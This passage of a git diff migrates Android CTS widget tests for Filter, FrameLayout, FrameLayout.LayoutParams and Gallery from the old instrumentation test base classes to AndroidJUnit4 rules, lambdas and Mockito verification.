-            public void run() {
-                mMockFilter = new MockFilter();
-                mMockFilter.filter(TEST_CONSTRAINT);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+    @Test
+    public void testConvertResultToString() throws Throwable {
+        final String testStr = "Test";
+        new TestThread(() -> {
+            Looper.prepare();
+            MockFilter filter = new MockFilter();
+            assertEquals("", filter.convertResultToString(null));
+            assertEquals(testStr, filter.convertResultToString(testStr));
+        }).runTest(RUN_TIME);
+    }
 
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mMockFilter.hadPerformedFiltering();
-            }
-        }.run();
+    @Test
+    public void testFilter1() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mMockFilter = new MockFilter();
+            mMockFilter.filter(TEST_CONSTRAINT);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        PollingCheck.waitFor(TIME_OUT, mMockFilter::hadPerformedFiltering);
         assertEquals(TEST_CONSTRAINT, mMockFilter.getPerformFilteringConstraint());
 
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mMockFilter.hadPublishedResults();
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, mMockFilter::hadPublishedResults);
         assertEquals(TEST_CONSTRAINT, mMockFilter.getPublishResultsConstraint());
         assertSame(mMockFilter.getExpectResults(), mMockFilter.getResults());
     }
 
-    public void testFilter2() {
-        final MockFilterListener mockFilterListener = new MockFilterListener();
-        getActivity().runOnUiThread(new Runnable() {
-            public void run() {
-                mMockFilter = new MockFilter();
-                mMockFilter.filter(TEST_CONSTRAINT, mockFilterListener);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+    @Test
+    public void testFilter2() throws Throwable {
+        final Filter.FilterListener mockFilterListener = mock(Filter.FilterListener.class);
 
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mMockFilter.hadPerformedFiltering();
-            }
-        }.run();
+        mActivityRule.runOnUiThread(() -> {
+            mMockFilter = new MockFilter();
+            mMockFilter.filter(TEST_CONSTRAINT, mockFilterListener);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        PollingCheck.waitFor(TIME_OUT, mMockFilter::hadPerformedFiltering);
         assertEquals(TEST_CONSTRAINT, mMockFilter.getPerformFilteringConstraint());
 
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mMockFilter.hadPublishedResults();
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, mMockFilter::hadPublishedResults);
         assertEquals(TEST_CONSTRAINT, mMockFilter.getPublishResultsConstraint());
         assertSame(mMockFilter.getExpectResults(), mMockFilter.getResults());
 
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mockFilterListener.hasCalledOnFilterComplete();
-            }
-        }.run();
+        verify(mockFilterListener, within(TIME_OUT)).onFilterComplete(anyInt());
     }
 
     private static class MockFilter extends Filter {
@@ -185,16 +180,4 @@
             }
         }
     }
-
-    private static class MockFilterListener implements FilterListener {
-        private boolean mCalledOnFilterComplete = false;
-
-        public void onFilterComplete(int count) {
-            mCalledOnFilterComplete = true;
-        }
-
-        public boolean hasCalledOnFilterComplete() {
-            return mCalledOnFilterComplete;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java b/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
index 4309dbb..ee321e4 100644
--- a/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FrameLayoutTest.java
@@ -16,24 +16,35 @@
 
 package android.widget.cts;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.ColorStateList;
-import android.cts.util.PollingCheck;
-import android.cts.util.WidgetTestUtils;
-import android.graphics.Canvas;
 import android.graphics.Color;
-import android.graphics.ColorFilter;
 import android.graphics.PorterDuff;
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
@@ -44,32 +55,39 @@
 import android.widget.FrameLayout.LayoutParams;
 import android.widget.LinearLayout;
 import android.widget.TextView;
-import android.widget.cts.R;
-import android.widget.cts.util.ViewTestUtils;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
-public class FrameLayoutTest extends ActivityInstrumentationTestCase2<FrameLayoutCtsActivity> {
-    private Activity mActivity;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FrameLayoutTest {
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
     private FrameLayout mFrameLayout;
 
-    public FrameLayoutTest() {
-        super("android.widget.cts", FrameLayoutCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<FrameLayoutCtsActivity> mActivityRule =
+            new ActivityTestRule<>(FrameLayoutCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         mFrameLayout = (FrameLayout) mActivity.findViewById(R.id.framelayout);
-        assertNotNull(mActivity);
-        assertNotNull(mInstrumentation);
-        assertNotNull(mFrameLayout);
     }
 
+    @Test
     public void testConstructor() throws XmlPullParserException, IOException {
         AttributeSet attrs = getAttributeSet();
 
@@ -78,39 +96,35 @@
         new FrameLayout(mActivity, attrs, 0);
     }
 
-    public void testSetForegroundGravity() {
+    @Test
+    public void testSetForegroundGravity() throws Throwable {
         final BitmapDrawable foreground
                 = (BitmapDrawable) mActivity.getResources().getDrawable(R.drawable.size_48x48);
-        compareScaledPixels(48, foreground.getIntrinsicHeight());
-        compareScaledPixels(48, foreground.getIntrinsicWidth());
+        WidgetTestUtils.assertScaledPixels(48, foreground.getIntrinsicHeight(), mActivity);
+        WidgetTestUtils.assertScaledPixels(48, foreground.getIntrinsicWidth(), mActivity);
         assertTrue(mFrameLayout.getHeight() > foreground.getIntrinsicHeight());
         assertTrue(mFrameLayout.getWidth() > foreground.getIntrinsicWidth());
         assertNull(mFrameLayout.getForeground());
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mFrameLayout,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mFrameLayout,
                 () -> mFrameLayout.setForeground(foreground));
         assertSame(foreground, mFrameLayout.getForeground());
         // check the default gravity FILL, it completely fills its container
         assertTrue(foreground.isVisible());
         final Rect rect = foreground.getBounds();
         // foreground has been stretched
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return mFrameLayout.getHeight() == rect.bottom - rect.top;
-            }
-        }.run();
+        PollingCheck.waitFor(() -> mFrameLayout.getHeight() == rect.bottom - rect.top);
         assertEquals(mFrameLayout.getWidth(), rect.right - rect.left);
 
         // should get a new foreground again, because former foreground has been stretched
         final BitmapDrawable newForeground =
-                (BitmapDrawable) mActivity.getResources().getDrawable(R.drawable.size_48x48);
-        compareScaledPixels(48, newForeground.getIntrinsicHeight());
-        compareScaledPixels(48, newForeground.getIntrinsicWidth());
+                (BitmapDrawable) mActivity.getDrawable(R.drawable.size_48x48);
+        WidgetTestUtils.assertScaledPixels(48, newForeground.getIntrinsicHeight(), mActivity);
+        WidgetTestUtils.assertScaledPixels(48, newForeground.getIntrinsicWidth(), mActivity);
         assertTrue(mFrameLayout.getHeight() > newForeground.getIntrinsicHeight());
         assertTrue(mFrameLayout.getWidth() > foreground.getIntrinsicWidth());
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mFrameLayout, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mFrameLayout, () -> {
             mFrameLayout.setForeground(newForeground);
             mFrameLayout.setForegroundGravity(Gravity.CENTER);
         });
@@ -124,11 +138,12 @@
         assertCenterAligned(mFrameLayout, newForeground);
     }
 
-    public void testGatherTransparentRegion() {
+    @Test
+    public void testGatherTransparentRegion() throws Throwable {
         final LinearLayout container =
                 (LinearLayout) mActivity.findViewById(R.id.framelayout_container);
         final Drawable foreground = mActivity.getResources().getDrawable(R.drawable.size_48x48);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mFrameLayout, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mFrameLayout, () -> {
             mFrameLayout.setForeground(foreground);
             mFrameLayout.setForegroundGravity(Gravity.CENTER);
         });
@@ -136,56 +151,52 @@
         Region region = new Region(foreground.getBounds());
         assertTrue(mFrameLayout.gatherTransparentRegion(region));
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mFrameLayout,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mFrameLayout,
                 () -> container.requestTransparentRegion(mFrameLayout));
         mInstrumentation.waitForIdleSync();
         region = new Region(foreground.getBounds());
         assertTrue(mFrameLayout.gatherTransparentRegion(region));
     }
 
-    public void testAccessMeasureAllChildren() {
+    @Test
+    public void testAccessMeasureAllChildren() throws Throwable {
         final FrameLayout frameLayout
                 = (FrameLayout) mActivity.findViewById(R.id.framelayout_measureall);
         assertFalse(frameLayout.getConsiderGoneChildrenWhenMeasuring());
 
         // text view and button are VISIBLE, they should be measured
         final TextView textView = (TextView) frameLayout.findViewById(R.id.framelayout_textview);
-        compareScaledPixels(30, textView.getMeasuredHeight());
-        compareScaledPixels(60, textView.getMeasuredWidth());
+        WidgetTestUtils.assertScaledPixels(30, textView.getMeasuredHeight(), mActivity);
+        WidgetTestUtils.assertScaledPixels(60, textView.getMeasuredWidth(), mActivity);
         assertEquals(textView.getMeasuredHeight(), frameLayout.getMeasuredHeight());
         assertEquals(textView.getMeasuredWidth(), frameLayout.getMeasuredWidth());
 
         // measureAll is false and text view is GONE, text view will NOT be measured
-        mActivity.runOnUiThread(() -> {
+        mActivityRule.runOnUiThread(() -> {
             textView.setVisibility(View.GONE);
             frameLayout.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
         assertFalse(frameLayout.getConsiderGoneChildrenWhenMeasuring());
         Button button = (Button) frameLayout.findViewById(R.id.framelayout_button);
-        compareScaledPixels(15, button.getMeasuredHeight());
-        compareScaledPixels(50, button.getMeasuredWidth());
+        WidgetTestUtils.assertScaledPixels(15, button.getMeasuredHeight(), mActivity);
+        WidgetTestUtils.assertScaledPixels(50, button.getMeasuredWidth(), mActivity);
         assertEquals(button.getMeasuredHeight(), frameLayout.getMeasuredHeight());
         assertEquals(button.getMeasuredWidth(), frameLayout.getMeasuredWidth());
 
         // measureAll is true and text view is GONE, text view will be measured
-        mActivity.runOnUiThread(() -> {
+        mActivityRule.runOnUiThread(() -> {
             frameLayout.setMeasureAllChildren(true);
             frameLayout.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
+        assertTrue(frameLayout.getMeasureAllChildren());
         assertTrue(frameLayout.getConsiderGoneChildrenWhenMeasuring());
         assertEquals(textView.getMeasuredHeight(), frameLayout.getMeasuredHeight());
         assertEquals(textView.getMeasuredWidth(), frameLayout.getMeasuredWidth());
     }
 
-    /**
-     * Helper method to compare expected pixels, scaled to device density, with actual
-     */
-    private void compareScaledPixels(int expected, int actual) {
-        WidgetTestUtils.assertScaledPixels(expected, actual, getActivity());
-    }
-
+    @Test
     public void testGenerateLayoutParams1() {
         MyFrameLayout myFrameLayout = new MyFrameLayout(mActivity);
         ViewGroup.LayoutParams p = new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
@@ -198,6 +209,7 @@
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, params.height);
     }
 
+    @Test
     public void testGenerateLayoutParams2() throws XmlPullParserException, IOException {
         AttributeSet attrs = getAttributeSet();
 
@@ -208,6 +220,7 @@
         assertEquals(Gravity.BOTTOM, params.gravity);
     }
 
+    @Test
     public void testCheckLayoutParams() {
         MyFrameLayout myFrameLayout = new MyFrameLayout(mActivity);
         assertFalse(myFrameLayout.checkLayoutParams(null));
@@ -221,6 +234,7 @@
         assertTrue(myFrameLayout.checkLayoutParams(params2));
     }
 
+    @Test
     public void testGenerateLayoutParamsFromMarginParams() {
         MyFrameLayout myFrameLayout = new MyFrameLayout(mActivity);
         ViewGroup.MarginLayoutParams lp = new ViewGroup.MarginLayoutParams(3, 5);
@@ -239,10 +253,7 @@
         assertEquals(4, generated.bottomMargin);
     }
 
-    public void testDrawableStateChanged() {
-        // drawableStateChanged() is implementation details, do NOT test
-    }
-
+    @Test
     public void testGenerateDefaultLayoutParams() {
         MyFrameLayout frameLayout = new MyFrameLayout(mActivity);
         FrameLayout.LayoutParams params = frameLayout.generateDefaultLayoutParams();
@@ -252,18 +263,7 @@
         assertEquals(LayoutParams.MATCH_PARENT, params.height);
     }
 
-    public void testOnLayout() {
-        // onLayout() is implementation details, do NOT test
-    }
-
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
-    }
-
-    public void testOnSizeChanged() {
-        // onSizeChanged() is implementation details, do NOT test
-    }
-
+    @Test
     public void testVerifyDrawable() {
         MyFrameLayout myFrameLayout = new MyFrameLayout(mActivity);
 
@@ -277,6 +277,8 @@
         assertTrue(myFrameLayout.verifyDrawable(null));
     }
 
+    @UiThreadTest
+    @Test
     public void testForegroundTint() {
         FrameLayout inflatedView = (FrameLayout) mActivity.findViewById(R.id.foreground_tint);
 
@@ -285,21 +287,25 @@
         assertEquals("Foreground tint mode inflated correctly",
                 PorterDuff.Mode.SRC_OVER, inflatedView.getForegroundTintMode());
 
-        MockDrawable foreground = new MockDrawable();
+        final Drawable foreground = spy(new ColorDrawable());
         FrameLayout view = new FrameLayout(mActivity);
 
         view.setForeground(foreground);
-        assertFalse("No foreground tint applied by default", foreground.hasCalledSetTint());
+        verify(foreground, never()).setTintList(any(ColorStateList.class));
 
-        view.setForegroundTintList(ColorStateList.valueOf(Color.WHITE));
-        assertTrue("Foreground tint applied when setForegroundTintList() called after setForeground()",
-                foreground.hasCalledSetTint());
+        view.setForegroundTintList(ColorStateList.valueOf(Color.RED));
+        final ArgumentCaptor<ColorStateList> colorStateListCaptor =
+                ArgumentCaptor.forClass(ColorStateList.class);
+        verify(foreground, times(1)).setTintList(colorStateListCaptor.capture());
+        assertEquals(1, colorStateListCaptor.getValue().getColors().length);
+        assertEquals(Color.RED, colorStateListCaptor.getValue().getColors()[0]);
 
-        foreground.reset();
+        reset(foreground);
         view.setForeground(null);
         view.setForeground(foreground);
-        assertTrue("Foreground tint applied when setForegroundTintList() called before setForeground()",
-                foreground.hasCalledSetTint());
+        verify(foreground, times(1)).setTintList(colorStateListCaptor.capture());
+        assertEquals(1, colorStateListCaptor.getValue().getColors().length);
+        assertEquals(Color.RED, colorStateListCaptor.getValue().getColors()[0]);
     }
 
     private static void assertCenterAligned(View container, Drawable drawable) {
@@ -319,38 +325,6 @@
         return Xml.asAttributeSet(parser);
     }
 
-    private static class MockDrawable extends Drawable {
-        private boolean mCalledSetTint = false;
-
-        @Override
-        public void draw(Canvas canvas) {}
-
-        @Override
-        public void setAlpha(int alpha) {}
-
-        @Override
-        public void setColorFilter(ColorFilter cf) {}
-
-        @Override
-        public void setTintList(ColorStateList tint) {
-            super.setTintList(tint);
-            mCalledSetTint = true;
-        }
-
-        @Override
-        public int getOpacity() {
-            return 0;
-        }
-
-        public boolean hasCalledSetTint() {
-            return mCalledSetTint;
-        }
-
-        public void reset() {
-            mCalledSetTint = false;
-        }
-    }
-
     private static class MyFrameLayout extends FrameLayout {
         public MyFrameLayout(Context context) {
             super(context);
diff --git a/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
index 5774b53..0aca2cd 100644
--- a/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/FrameLayout_LayoutParamsTest.java
@@ -16,25 +16,39 @@
 
 package android.widget.cts;
 
-import android.view.Gravity;
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
 
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import android.cts.util.WidgetTestUtils;
-import android.test.AndroidTestCase;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.Gravity;
 import android.view.ViewGroup;
 import android.view.ViewGroup.MarginLayoutParams;
 import android.widget.FrameLayout;
 import android.widget.FrameLayout.LayoutParams;
 
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-public class FrameLayout_LayoutParamsTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FrameLayout_LayoutParamsTest {
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
 
     private AttributeSet getAttributeSet() throws XmlPullParserException, IOException {
         XmlPullParser parser = mContext.getResources().getLayout(R.layout.framelayout_layout);
@@ -42,6 +56,7 @@
         return Xml.asAttributeSet(parser);
     }
 
+    @Test
     public void testConstructor() throws XmlPullParserException, IOException {
         AttributeSet attrs = getAttributeSet();
 
@@ -52,31 +67,26 @@
         new LayoutParams(new LayoutParams(mContext, attrs));
         new LayoutParams(new MarginLayoutParams(mContext, attrs));
 
-        try {
-            new LayoutParams(null, null);
-            fail("did not throw NullPointerException when context and attrs are null.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
         new LayoutParams(-1, -1);
         new LayoutParams(-1, -1, -1);
-
-        try {
-            new LayoutParams((ViewGroup.LayoutParams) null);
-            fail("did not throw NullPointerException when ViewGroup.LayoutParams is null.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new LayoutParams((ViewGroup.MarginLayoutParams) null);
-            fail("did not throw NullPointerException when ViewGroup.MarginLayoutParams is null.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext() {
+        new LayoutParams(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullViewGroupParams() {
+        new LayoutParams((ViewGroup.LayoutParams) null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullViewGroupMarginParams() {
+        new LayoutParams((ViewGroup.MarginLayoutParams) null);
+    }
+
+    @Test
     public void testCopyConstructor() {
         FrameLayout.LayoutParams copy;
 
diff --git a/tests/tests/widget/src/android/widget/cts/GalleryCtsActivity.java b/tests/tests/widget/src/android/widget/cts/GalleryCtsActivity.java
index 8039f47..8b80a96 100644
--- a/tests/tests/widget/src/android/widget/cts/GalleryCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/GalleryCtsActivity.java
@@ -16,8 +16,6 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.content.Context;
 import android.os.Bundle;
@@ -26,6 +24,7 @@
 import android.widget.BaseAdapter;
 import android.widget.Gallery;
 import android.widget.ImageView;
+import android.widget.cts.R;
 
 /**
  * A minimal application for {@link Gallery} test.
diff --git a/tests/tests/widget/src/android/widget/cts/GalleryTest.java b/tests/tests/widget/src/android/widget/cts/GalleryTest.java
index dd39461..acbe1e7 100644
--- a/tests/tests/widget/src/android/widget/cts/GalleryTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GalleryTest.java
@@ -16,118 +16,107 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.content.ComponentName;
 import android.content.Context;
-import android.content.Intent;
-import android.cts.util.WidgetTestUtils;
-import android.graphics.drawable.Drawable;
+import android.graphics.Rect;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.ContextMenu;
 import android.view.Gravity;
 import android.view.KeyEvent;
-import android.view.MenuItem;
-import android.view.SubMenu;
 import android.view.View;
 import android.view.ViewGroup;
-import android.view.ContextMenu.ContextMenuInfo;
-import android.view.View.OnCreateContextMenuListener;
 import android.view.ViewGroup.LayoutParams;
 import android.view.animation.Transformation;
 import android.widget.AdapterView;
 import android.widget.BaseAdapter;
 import android.widget.Gallery;
 import android.widget.ImageView;
-import android.widget.AdapterView.OnItemSelectedListener;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
 /**
  * Test {@link Gallery}.
  */
-public class GalleryTest extends ActivityInstrumentationTestCase2<GalleryCtsActivity>  {
-    private Gallery mGallery;
-    private Activity mActivity;
-    private Instrumentation mInstrumentation;
-    private Context mContext;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class GalleryTest  {
     private final static float DELTA = 0.01f;
 
-    public GalleryTest() {
-        super("android.widget.cts", GalleryCtsActivity.class);
-    }
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private Gallery mGallery;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-        mContext = mInstrumentation.getContext();
+    @Rule
+    public ActivityTestRule<GalleryCtsActivity> mActivityRule =
+            new ActivityTestRule<>(GalleryCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         mGallery = (Gallery) mActivity.findViewById(R.id.gallery_test);
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
-        new Gallery(mContext);
+        new Gallery(mActivity);
 
-        new Gallery(mContext, null);
+        new Gallery(mActivity, null);
 
-        new Gallery(mContext, null, 0);
+        new Gallery(mActivity, null, 0);
 
-        XmlPullParser parser = getActivity().getResources().getXml(R.layout.gallery_test);
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.gallery_test);
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        new Gallery(mContext, attrs);
-        new Gallery(mContext, attrs, 0);
-
-        try {
-            new Gallery(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            new Gallery(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            new Gallery(null, null, 0);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        new Gallery(mActivity, attrs);
+        new Gallery(mActivity, attrs, 0);
     }
 
-    public void testSetAnimationDuration() {
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        new Gallery(null);
     }
 
-    public void testSetSpacing() throws Throwable {
-        setSpacingAndCheck(0);
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        new Gallery(null, null);
+    }
 
-        setSpacingAndCheck(5);
-
-        setSpacingAndCheck(-1);
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext3() {
+        new Gallery(null, null, 0);
     }
 
     private void setSpacingAndCheck(final int spacing) throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mGallery.setSpacing(spacing);
-                mGallery.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGallery.setSpacing(spacing);
+            mGallery.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
 
@@ -136,65 +125,62 @@
         assertEquals(v0.getRight() + spacing, v1.getLeft());
     }
 
-    public void testSetUnselectedAlpha() {
-        final MyGallery gallery = (MyGallery) mActivity.findViewById(R.id.gallery_test);
+    @Test
+    public void testSetSpacing() throws Throwable {
+        setSpacingAndCheck(0);
 
-        checkUnselectedAlpha(gallery, 0.0f);
+        setSpacingAndCheck(5);
 
-        checkUnselectedAlpha(gallery, 0.5f);
+        setSpacingAndCheck(-1);
     }
 
-    private void checkUnselectedAlpha(MyGallery gallery, float alpha) {
+    private void checkUnselectedAlpha(float alpha) {
         final float DEFAULT_ALPHA = 1.0f;
-        View v0 = gallery.getChildAt(0);
-        View v1 = gallery.getChildAt(1);
+        View v0 = mGallery.getChildAt(0);
+        View v1 = mGallery.getChildAt(1);
 
-        gallery.setUnselectedAlpha(alpha);
+        mGallery.setUnselectedAlpha(alpha);
         Transformation t = new Transformation();
-        gallery.getChildStaticTransformation(v0, t);
+        ((MyGallery) mGallery).getChildStaticTransformation(v0, t);
         // v0 is selected by default.
         assertEquals(DEFAULT_ALPHA, t.getAlpha(), DELTA);
-        gallery.getChildStaticTransformation(v1, t);
+        ((MyGallery) mGallery).getChildStaticTransformation(v1, t);
         assertEquals(alpha, t.getAlpha(), DELTA);
     }
 
     @UiThreadTest
+    @Test
+    public void testSetUnselectedAlpha() {
+        checkUnselectedAlpha(0.0f);
+
+        checkUnselectedAlpha(0.5f);
+    }
+
+    @UiThreadTest
+    @Test
     public void testGenerateLayoutParams() throws XmlPullParserException, IOException {
         final int width = 320;
         final int height = 240;
         LayoutParams lp = new LayoutParams(width, height);
-        MyGallery gallery = new MyGallery(mContext);
+        MyGallery gallery = new MyGallery(mActivity);
         LayoutParams layoutParams = gallery.generateLayoutParams(lp);
         assertEquals(width, layoutParams.width);
         assertEquals(height, layoutParams.height);
 
-        XmlPullParser parser = getActivity().getResources().getXml(R.layout.gallery_test);
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.gallery_test);
         WidgetTestUtils.beginDocument(parser, "LinearLayout");
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        mGallery = new Gallery(mContext, attrs);
+        mGallery = new Gallery(mActivity, attrs);
 
         layoutParams = mGallery.generateLayoutParams(attrs);
         assertEquals(LayoutParams.MATCH_PARENT, layoutParams.width);
         assertEquals(LayoutParams.MATCH_PARENT, layoutParams.height);
     }
 
-    public void testFoo() {
-        // Do not test these APIs. They are callbacks which:
-        // 1. The callback machanism has been tested in super class
-        // 2. The functionality is implmentation details, no need to test
-    }
-
-    public void testShowContextMenuForChild() {
-        // how to check whether the context menu for child is showing.
-    }
-
-    public void testShowContextMenu() {
-        // how to check whether the context menu is showing.
-    }
-
     @UiThreadTest
+    @Test
     public void testDispatchKeyEvent() {
-        mGallery = new Gallery(mContext);
+        mGallery = new Gallery(mActivity);
         final KeyEvent validKeyEvent = new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_ENTER);
         assertTrue(mGallery.dispatchKeyEvent(validKeyEvent));
         final long time = SystemClock.uptimeMillis();
@@ -203,6 +189,16 @@
         assertFalse(mGallery.dispatchKeyEvent(invalidKeyEvent));
     }
 
+    private void setGalleryGravity(final int gravity) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mGallery.setGravity(gravity);
+            mGallery.invalidate();
+            mGallery.requestLayout();
+        });
+        mInstrumentation.waitForIdleSync();
+    }
+
+    @Test
     public void testSetGravity() throws Throwable {
         setGalleryGravity(Gravity.CENTER_HORIZONTAL);
         View v0 = mGallery.getChildAt(0);
@@ -217,20 +213,10 @@
         ViewAsserts.assertBottomAligned(mGallery, v0, mGallery.getPaddingBottom());
     }
 
-    private void setGalleryGravity(final int gravity) throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mGallery.setGravity(gravity);
-                mGallery.invalidate();
-                mGallery.requestLayout();
-            }
-        });
-        mInstrumentation.waitForIdleSync();
-    }
-
     @UiThreadTest
+    @Test
     public void testCheckLayoutParams() {
-        MyGallery gallery = new MyGallery(mContext);
+        MyGallery gallery = new MyGallery(mActivity);
         ViewGroup.LayoutParams p1 = new ViewGroup.LayoutParams(320, 480);
         assertFalse(gallery.checkLayoutParams(p1));
 
@@ -239,16 +225,18 @@
     }
 
     @UiThreadTest
+    @Test
